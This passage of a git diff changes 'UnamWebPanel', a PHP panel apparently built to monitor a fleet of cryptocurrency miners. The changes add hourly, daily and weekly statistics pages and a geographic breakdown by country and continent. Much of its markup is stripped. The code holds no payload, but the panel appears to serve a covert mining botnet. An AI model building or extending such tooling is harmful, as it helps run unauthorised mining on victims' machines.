strtotime($miner['ms_lastConnection'])) > 180){ + if($miner['ms_lastConnection'] && (strtotime($currentDate) - $miner['ms_lastConnection']) > 180){ $stats['offline']++; }else{ $key = 'status_'.$miner['ms_status']; @@ -55,7 +55,7 @@ $cpus[$cpu] = isset($cpus[$cpu]) ? $cpus[$cpu]+1 : 1; } foreach($newminers as &$newminer) { - if($miner['ms_creationDate'] && (strtotime($currentDate) - strtotime($miner['ms_creationDate'])) < $newminer[0]){ + if($miner['ms_creationDate'] && (strtotime($currentDate) - $miner['ms_creationDate']) < $newminer[0]){ $newminer[1]++; } } diff --git a/UnamWebPanel/plus/countries/countries.php b/UnamWebPanel/plus/countries/countries.php deleted file mode 100644 index f648d9b..0000000 --- a/UnamWebPanel/plus/countries/countries.php +++ /dev/null @@ -1,78 +0,0 @@ -query("SELECT ms_algorithm, ms_hashrate, ms_lastConnection, ms_status, ms_creationDate, ms_country FROM miners"); -$miners = $CountriesQuery->fetchAll(PDO::FETCH_ASSOC); - -$countriesArray = array(); - -foreach ($miners as $miner) { - if ($miner['ms_country'] != 'Unknown') { - if (!isset($countriesArray[$miner['ms_country']])) { - $countriesArray[$miner['ms_country']] = 0; - } - $countriesArray[$miner['ms_country']]++; - } -} - - -asort($countriesArray); - -?> -
-
-

Total Countries

-
- -
-
-
- - \ No newline at end of file diff --git a/UnamWebPanel/plus/geo/geo.php b/UnamWebPanel/plus/geo/geo.php new file mode 100644 index 0000000..9280144 --- /dev/null +++ b/UnamWebPanel/plus/geo/geo.php @@ -0,0 +1,128 @@ +query("SELECT ms_lastConnection, ms_status, ms_country FROM miners"); +$miners = $CountriesQuery->fetchAll(PDO::FETCH_ASSOC); + +$countriesTotal = array(); +$countriesActive = array(); + +$continentsTotal = array(); +$continentsActive = array(); + +$countryNames = json_decode(file_get_contents(dirname(__DIR__, 2) . '/assets/json/countryNames.json'), true); +$continentCodes = json_decode(file_get_contents(dirname(__DIR__, 2) . '/assets/json/continentCodes.json'), true); +$continentNames = json_decode(file_get_contents(dirname(__DIR__, 2) . '/assets/json/continentNames.json'), true); + +foreach ($miners as $miner) { + $minerLastConnection = $miner['ms_lastConnection']; + $currentDate = date("Y-m-d H:i:s"); + $difference = strtotime($currentDate) - $minerLastConnection; + + $country = $miner['ms_country'] ?? 'Unknown'; + $countryKey = $countryNames[$country] ?? $country; + $countriesTotal[$countryKey] = ($countriesTotal[$countryKey] ?? 0) + 1; + + $contientKey = $continentNames[$continentCodes[$country] ?? $country] ?? $country; + $continentsTotal[$contientKey] = ($continentsTotal[$contientKey] ?? 0) + 1; + + if ($difference < 180 && ($miner['ms_status'] == 2 || $miner['ms_status'] == 3)) { + $countriesActive[$countryKey] = ($countriesActive[$countryKey] ?? 0) + 1; + $continentsActive[$contientKey] = ($continentsActive[$contientKey] ?? 0) + 1; + } +} + + +arsort($countriesActive); +arsort($countriesTotal); +arsort($continentsActive); +arsort($continentsTotal); + +?> +
+
+

Total Countries

+
+ +
+
+
+

Total Active Countries

+
+ +
+
+
+

Total Continents

+
+ +
+
+
+

Total Active Continents

+
+ +
+
+
+ + \ No newline at end of file diff --git a/UnamWebPanel/plus/plus.css b/UnamWebPanel/plus/plus.css index c7fd6cb..735212b 100644 --- a/UnamWebPanel/plus/plus.css +++ b/UnamWebPanel/plus/plus.css @@ -85,13 +85,18 @@ float: right; } +/* #chartHashrate, #chartExtra, #chartOnlineOffline, -#chartCountries { +#chartCountriesTotal, +#chartCountriesActive, +#chartContinentsTotal, +#chartContinentsActive { width: 100% !important; height: 100% !important; } +*/ #chooseOnlineOffline, #timeIntervalOnlineOffline, @@ -145,3 +150,12 @@ opacity: 1; } +@media only screen and (max-width: 800px) { + .plus-section { + grid-template-columns: repeat(2, 1fr); + } + + .statistics-section { + grid-template-columns: repeat(1, 1fr); + } + } \ No newline at end of file diff --git a/UnamWebPanel/plus/plus.php b/UnamWebPanel/plus/plus.php index e355d0e..fca7350 100644 --- a/UnamWebPanel/plus/plus.php +++ b/UnamWebPanel/plus/plus.php @@ -2,41 +2,15 @@ require_once dirname(__DIR__, 1).'/assets/php/templates.php'; require_once dirname(__DIR__, 1).'/security.php'; -$timestamp = time(); - -// HTML OUTPUT -echo ' - - - - - '; - // TOTAL HASHRATE echo '

Total Hashrate

'; include("plus/totalHashrate/totalHashrate.php"); //STATISTICS -echo '

Statistics

-
-
'; -include("plus/statistics/viewHashrate.php"); -echo '
-
'; -include("plus/statistics/viewExtra.php"); -echo '
'; -echo '
-
-
'; -include("plus/statistics/viewOnlineOffline.php"); -echo '
'; -echo '
'; - - -//COUNTRIES -echo '

Countries

'; -include("plus/countries/countries.php"); +echo '

Statistics

'; +include("plus/statistics/statsViewer.php"); -// HTML END -echo ''; \ No newline at end of file +//GEO +echo '

Geo

'; +include("plus/geo/geo.php"); \ No newline at end of file diff --git a/UnamWebPanel/plus/plusFunctions.js b/UnamWebPanel/plus/plusFunctions.js deleted file mode 100644 index 3718301..0000000 --- a/UnamWebPanel/plus/plusFunctions.js +++ /dev/null @@ -1,48 +0,0 @@ -//Format Date to ISO -function formatDate(inputDate) { - var year = inputDate.getFullYear(); - var month = ('0' + (inputDate.getMonth() + 1)).slice(-2); // Month is zero-based, so add 1 - var day = ('0' + inputDate.getDate()).slice(-2); - var hours = ('0' + inputDate.getHours()).slice(-2); - var minutes = '00'; - var seconds = '00'; - var week = inputDate.getWeek(); - if(week >= 0 && week <= 9) { - week = "0" + week; - } - var inputDate = year + '-' + month + '-' + day + ' ' + hours + ':' + minutes + ':' + seconds + ' ' + week; - return inputDate -} - -//Add hours to date -Date.prototype.addHours = function (h) { - this.setTime(this.getTime() + (h * 60 * 60 * 1000)); - return this; -} - -//Get week -Date.prototype.getWeek = function (dowOffset) { - dowOffset = typeof (dowOffset) == 'number' ? dowOffset : 0; //default dowOffset to zero - var newYear = new Date(this.getFullYear(), 0, 1); - var day = newYear.getDay() - dowOffset; //the day of week the year begins on - day = (day >= 0 ? day : day + 7); - var daynum = Math.floor((this.getTime() - newYear.getTime() - - (this.getTimezoneOffset() - newYear.getTimezoneOffset()) * 60000) / 86400000) + 1; - var weeknum; - //if the year starts before the middle of a week - if (day < 4) { - weeknum = Math.floor((daynum + day - 1) / 7) + 1; - if (weeknum > 52) { - nYear = new Date(this.getFullYear() + 1, 0, 1); - nday = nYear.getDay() - dowOffset; - nday = nday >= 0 ? nday : nday + 7; - /*if the next year starts before the middle of - the week, it is week #1 of that year*/ - weeknum = nday < 4 ? 1 : 53; - } - } - else { - weeknum = Math.floor((daynum + day - 1) / 7); - } - return weeknum; -}; \ No newline at end of file diff --git a/UnamWebPanel/plus/statistics/statsSaver.php b/UnamWebPanel/plus/statistics/statsSaver.php index c49d53f..b8c4579 100644 --- a/UnamWebPanel/plus/statistics/statsSaver.php +++ b/UnamWebPanel/plus/statistics/statsSaver.php @@ -3,7 +3,7 @@ require_once dirname(__DIR__, 2) . '/class/db.php'; require_once dirname(__DIR__, 2) . '/assets/php/templates.php'; -$st_date = date("Y-m-d H:00:00 W"); +$st_date = strtotime(date("Y-m-d H:00:00")); $st_hashrate = array(); $st_totalMiners = 0; $st_totalOnline = 0; @@ -20,33 +20,28 @@ $st_totalUnknown = 0; -$hashrateQuery = getConn()->query("SELECT ms_algorithm, ms_hashrate, ms_lastConnection, ms_status, ms_creationDate, ms_ip FROM miners"); +$hashrateQuery = getConn()->query("SELECT ms_algorithm, ms_hashrate, ms_lastConnection, ms_status FROM miners"); $miners = $hashrateQuery->fetchAll(PDO::FETCH_ASSOC); $st_totalMiners = count($miners); -foreach ($miners as $item) { - $minerLastConnection = new DateTime($item['ms_lastConnection']); - $currentDate = new DateTime(); - $difference = $currentDate->getTimestamp() - $minerLastConnection->getTimestamp(); +foreach ($miners as $miner) { + $minerLastConnection = $miner['ms_lastConnection']; + $difference = $st_date - $minerLastConnection; if ($difference < 180) { - switch ($item['ms_status']) { + $st_totalOnline++; + + switch ($miner['ms_status']) { case 1: $st_totalStopped++; break; case 2: - if (!isset($st_onlineMiners[$item['ms_algorithm']])) { - $st_onlineMiners[$item['ms_algorithm']] = 0; - } - $st_onlineMiners[$item['ms_algorithm']]++; $st_totalActive++; - $st_totalOnline++; break; case 3: $st_totalIdle++; - $st_totalOnline++; break; case 4: $st_totalPaused++; @@ -60,45 +55,32 @@ case 7: $st_totalError++; break; - case -1: - $st_totalOffline++; - break; default: $st_totalUnknown++; break; } - } else { - if (!isset($st_offlineMiners[$item['ms_algorithm']])) { - $st_offlineMiners[$item['ms_algorithm']] = 0; - } - $st_offlineMiners[$item['ms_algorithm']]++; - $st_totalOffline++; - } -} - - -// Get unique algorithms -$algorithms = array_unique(array_column($miners, 'ms_algorithm')); -foreach ($algorithms as $algorithm) { - $totalHashrate = 0; - - foreach ($miners as $miner) { - if ($miner['ms_algorithm'] === $algorithm) { - $minerLastConnection = new DateTime($item['ms_lastConnection']); - $currentDate = new DateTime(); - $difference = $currentDate->getTimestamp() - $minerLastConnection->getTimestamp(); + if ($miner['ms_status'] == 2 || $miner['ms_status'] == 3) { + if (!isset($st_onlineMiners[$miner['ms_algorithm']])) { + $st_onlineMiners[$miner['ms_algorithm']] = 0; + } + $st_onlineMiners[$miner['ms_algorithm']]++; - if ($difference < 180 && $miner['ms_status'] == 2) { - $totalHashrate += $miner['ms_hashrate']; + if (!isset($st_hashrate[$miner['ms_algorithm']])) { + $st_hashrate[$miner['ms_algorithm']] = 0; } + $st_hashrate[$miner['ms_algorithm']] += $miner['ms_hashrate']; + } + + } else { + if (!isset($st_offlineMiners[$miner['ms_algorithm']])) { + $st_offlineMiners[$miner['ms_algorithm']] = 0; } + $st_offlineMiners[$miner['ms_algorithm']]++; + $st_totalOffline++; } - $st_hashrate[$algorithm] = $totalHashrate; } - - $st_hashrate = json_encode($st_hashrate); $st_onlineMiners = json_encode($st_onlineMiners); $st_offlineMiners = json_encode($st_offlineMiners); diff --git a/UnamWebPanel/plus/statistics/statsViewer.php b/UnamWebPanel/plus/statistics/statsViewer.php new file mode 100644 index 0000000..9b76534 --- /dev/null +++ b/UnamWebPanel/plus/statistics/statsViewer.php @@ -0,0 +1,407 @@ +query("SELECT st_date, st_hashrate, st_totalMiners, st_totalOnline, st_totalOffline, st_onlineMiners, st_offlineMiners, st_totalActive, st_totalIdle, st_totalStarting, st_totalPaused, st_totalStopped, st_totalError, st_totalVRAM, st_totalUnknown FROM statistics"); +$stats = $statsQuery->fetchAll(PDO::FETCH_ASSOC); + +$statsDataTime = array(); +$statsDataExtra = array(); +$statsDataHashrate = array(); +$statsDataOnlineOffline = array(); + +foreach ($stats as $stat) { + $time = $stat['st_date']; + + $statsDataTime[$time] = array(); + + $date = date('Y-m-d H:00:00', $time); + + $statsDataExtra[$date] = array( + 'Total Miners' => $stat['st_totalMiners'], + 'Total Offline' => $stat['st_totalOffline'], + 'Total Idle' => $stat['st_totalIdle'], + 'Total Online' => $stat['st_totalOnline'], + 'Total Error' => $stat['st_totalError'], + 'Total Unknown' => $stat['st_totalUnknown'], + 'Total VRAM' => $stat['st_totalVRAM'], + 'Total Stopped' => $stat['st_totalStopped'], + 'Total Starting' => $stat['st_totalStarting'], + 'Total Active' => $stat['st_totalActive'], + 'Total Paused' => $stat['st_totalPaused'], + 'Total Active + Idle' => $stat['st_totalActive'] + $stat['st_totalIdle'] + ); + + $statsDataHashrate[$date] = json_decode($stat['st_hashrate']); + + $statsDataOnlineOffline[$date] = array( + 'Online Miners' => json_decode($stat['st_onlineMiners'], true), + 'Offline Miners' => json_decode($stat['st_offlineMiners'], true) + ); +} + +ksort($statsDataTime); + +$statsFirstTime = array_keys($statsDataTime)[0]; +$currentHour = strtotime(date("Y-m-d H:00:00")); + +if ($statsFirstTime) { + while ($statsFirstTime < $currentHour) { + $statsFirstTime = $statsFirstTime + 60 * 60; + $statsFirstDate = date('Y-m-d H:00:00', $statsFirstTime); + $statsDataExtra[$statsFirstDate] = $statsDataExtra[$statsFirstDate] ?? array(); + $statsDataHashrate[$statsFirstDate] = $statsDataHashrate[$statsFirstDate] ?? array(); + $statsDataOnlineOffline[$statsFirstDate] = $statsDataOnlineOffline[$statsFirstDate] ?? array(); + } +} + +ksort($statsDataHashrate); +$statsFullDataHashrate['hourly'] = $statsDataHashrate; +$statsFullDataHashrate['daily'] = getAverage($statsDataHashrate, 'daily'); +$statsFullDataHashrate['weekly'] = getAverage($statsDataHashrate, 'weekly'); +$statsFullDataHashrate['monthly'] = getAverage($statsDataHashrate, 'monthly'); + +ksort($statsDataExtra); +$statsFullDataExtra['hourly'] = $statsDataExtra; +$statsFullDataExtra['daily'] = getAverage($statsDataExtra, 'daily'); +$statsFullDataExtra['weekly'] = getAverage($statsDataExtra, 'weekly'); +$statsFullDataExtra['monthly'] = getAverage($statsDataExtra, 'monthly'); + +ksort($statsDataOnlineOffline); +$statsFullDataOnlineOffline['hourly'] = $statsDataOnlineOffline; +$statsFullDataOnlineOffline['daily'] = getAverage($statsDataOnlineOffline, 'daily', true); +$statsFullDataOnlineOffline['weekly'] = getAverage($statsDataOnlineOffline, 'weekly', true); +$statsFullDataOnlineOffline['monthly'] = getAverage($statsDataOnlineOffline, 'monthly', true); + + +function getAverage($data, $interval, $status = false) +{ + $dataAverage = array(); + + foreach ($data as $date => $values) { + $dateFormat = null; + + if ($interval == "daily") { + $dateFormat = date('Y-m-d', strtotime($date)); + } elseif ($interval == "weekly") { + $dateFormat = date('Y \WW', strtotime($date)); + } elseif ($interval == "monthly") { + $dateFormat = date('Y-m', strtotime($date)); + } + + $dataAverage[$dateFormat] = $dataAverage[$dateFormat] ?? array(); + + foreach ($values as $key => $value) { + if ($status == true) { + foreach ($value as $key2 => $value2) { + $dataAverage[$dateFormat][$key] = $dataAverage[$dateFormat][$key] ?? array(); + $dataAverage[$dateFormat][$key][$key2] = $dataAverage[$dateFormat][$key][$key2] ?? 0; + $dataAverage[$dateFormat][$key][$key2] += $value2; + } + } else { + $dataAverage[$dateFormat][$key] = $dataAverage[$dateFormat][$key] ?? 0; + $dataAverage[$dateFormat][$key] += $value; + } + } + + $dataAverage[$dateFormat]['count'] = $dataAverage[$dateFormat]['count'] ?? 0; + $dataAverage[$dateFormat]['count']++; + } + + foreach ($dataAverage as $dateFormat => $values) { + $count = $values['count']; + foreach ($values as $key => $value) { + if ($status == true && $key != 'count') { + foreach ($value as $key2 => $value2) { + $dataAverage[$dateFormat][$key][$key2] = round($value2 / $count); + } + } else { + $dataAverage[$dateFormat][$key] = round($value / $count); + } + } + unset($dataAverage[$dateFormat]['count']); + } + + ksort($dataAverage); + return $dataAverage; +} + +?> +
+
+

Total Hashrate

+
+ + +
? + Gets average values based on chosen interval. Might + result + in impractical values. +
+
+
+ +
+
+
+

Total Extra

+
+ + +
? + Gets average values based on chosen interval. Might + result + in impractical values. +
+
+
+ +
+
+
+

Total Algorithms

+
+ + +
+ + +
? + Gets average values based on chosen interval. Might + result + in impractical values. +
+
+
+ +
+
+
+ + \ No newline at end of file diff --git a/UnamWebPanel/plus/statistics/viewExtra.php b/UnamWebPanel/plus/statistics/viewExtra.php deleted file mode 100644 index 9e4d4be..0000000 --- a/UnamWebPanel/plus/statistics/viewExtra.php +++ /dev/null @@ -1,261 +0,0 @@ -query("SELECT st_date, st_totalMiners, st_totalOnline, st_totalOffline, st_totalActive, st_totalIdle, st_totalStarting, st_totalPaused, st_totalStopped, st_totalError, st_totalVRAM, st_totalUnknown FROM statistics"); -$miners = $ExtraQuery->fetchAll(PDO::FETCH_ASSOC); - -$existingDataExtra = array(); - -foreach ($miners as $miner) { - $date = $miner['st_date']; - - $existingDataExtra[$date] = array( - 'Total Miners' => $miner['st_totalMiners'], - 'Total Offline' => $miner['st_totalOffline'], - 'Total Idle' => $miner['st_totalIdle'], - 'Total Online' => $miner['st_totalOnline'], - 'Total Error' => $miner['st_totalError'], - 'Total Unknown' => $miner['st_totalUnknown'], - 'Total VRAM' => $miner['st_totalVRAM'], - 'Total Stopped' => $miner['st_totalStopped'], - 'Total Starting' => $miner['st_totalStarting'], - 'Total Active' => $miner['st_totalActive'], - 'Total Paused' => $miner['st_totalPaused'] - ); -} - -?> -

Total Extra

-
- - -
? - Gets average values based on chosen interval. Might result - in impractical values. -
-
-
- -
- - \ No newline at end of file diff --git a/UnamWebPanel/plus/statistics/viewHashrate.php b/UnamWebPanel/plus/statistics/viewHashrate.php deleted file mode 100644 index 0aef21c..0000000 --- a/UnamWebPanel/plus/statistics/viewHashrate.php +++ /dev/null @@ -1,266 +0,0 @@ -query("SELECT st_date, st_hashrate FROM statistics"); -$miners = $hashrateQuery->fetchAll(PDO::FETCH_ASSOC); - -$existingDataHashrate = array(); - -foreach ($miners as $miner) { - $date = $miner['st_date']; - $hashrateData = json_decode($miner['st_hashrate'], true); - - foreach ($hashrateData as $key => $value) { - $existingDataHashrate[$date][$key] = $value; - } -} - -?> -

Total Hashrate

-
- - -
? - Gets average values based on chosen interval. Might result - in impractical values. -
-
-
- -
- - \ No newline at end of file diff --git a/UnamWebPanel/plus/statistics/viewOnlineOffline.php b/UnamWebPanel/plus/statistics/viewOnlineOffline.php deleted file mode 100644 index 07fcb48..0000000 --- a/UnamWebPanel/plus/statistics/viewOnlineOffline.php +++ /dev/null @@ -1,281 +0,0 @@ -query("SELECT st_date, st_onlineMiners, st_offlineMiners FROM statistics"); -$miners = $OnlineOfflineQuery->fetchAll(PDO::FETCH_ASSOC); - -$existingDataOnline = array(); -$existingDataOffline = array(); - -foreach ($miners as $miner) { - $date = $miner['st_date']; - $OnlineData = json_decode($miner['st_onlineMiners'], true); - $OfflineData = json_decode($miner['st_offlineMiners'], true); - - - foreach ($OnlineData as $key => $value) { - $existingDataOnline[$date][$key] = $value; - } - - foreach ($OfflineData as $key => $value) { - $existingDataOffline[$date][$key] = $value; - } -} - -?> -

Total Online/Offline Miners

-
- - -
- - -
? - Gets average values based on chosen interval. Might result - in impractical values. -
-
-
- -
- - \ No newline at end of file diff --git a/UnamWebPanel/plus/totalHashrate/totalHashrate.php b/UnamWebPanel/plus/totalHashrate/totalHashrate.php index b0fb392..adcaea5 100644 --- a/UnamWebPanel/plus/totalHashrate/totalHashrate.php +++ b/UnamWebPanel/plus/totalHashrate/totalHashrate.php @@ -1,6 +1,11 @@ query("SELECT ms_algorithm, ms_hashrate, ms_lastConnection, ms_status FROM miners"); +$miners = $hashrateQuery->fetchAll(PDO::FETCH_ASSOC); + +$algorithms = array_unique(array_column($miners, 'ms_algorithm')); + function calculateTotalHashrate($algorithm, $miners) { $informationAlgorithms = array(); @@ -11,11 +16,10 @@ function calculateTotalHashrate($algorithm, $miners) foreach ($miners as $miner) { if ($miner['ms_algorithm'] === $algorithm) { - // Check if the last connection was less than 3 minutes ago - $lastConnection = strtotime($miner['ms_lastConnection']); + $lastConnection = $miner['ms_lastConnection']; $currentTime = time(); - if ($currentTime - $lastConnection < 180 && $miner['ms_status'] == 2) { + if ($currentTime - $lastConnection < 180 && ($miner['ms_status'] == 2 || $miner['ms_status'] == 3)) { $totalHashrate += $miner['ms_hashrate']; $totalMiners += 1; } @@ -35,15 +39,7 @@ function calculateTotalHashrate($algorithm, $miners) return $informationAlgorithms; } -// Query to get hashrate information from miners table -$hashrateQuery = getConn()->query("SELECT ms_algorithm, ms_hashrate, ms_lastConnection, ms_status FROM miners"); -$miners = $hashrateQuery->fetchAll(PDO::FETCH_ASSOC); - -// Get unique algorithms -$algorithms = array_unique(array_column($miners, 'ms_algorithm')); - - -echo '
'; +echo '
'; if($algorithms) { @@ -66,7 +62,7 @@ function calculateTotalHashrate($algorithm, $miners) } else { - echo '
+ echo '

No algorithms found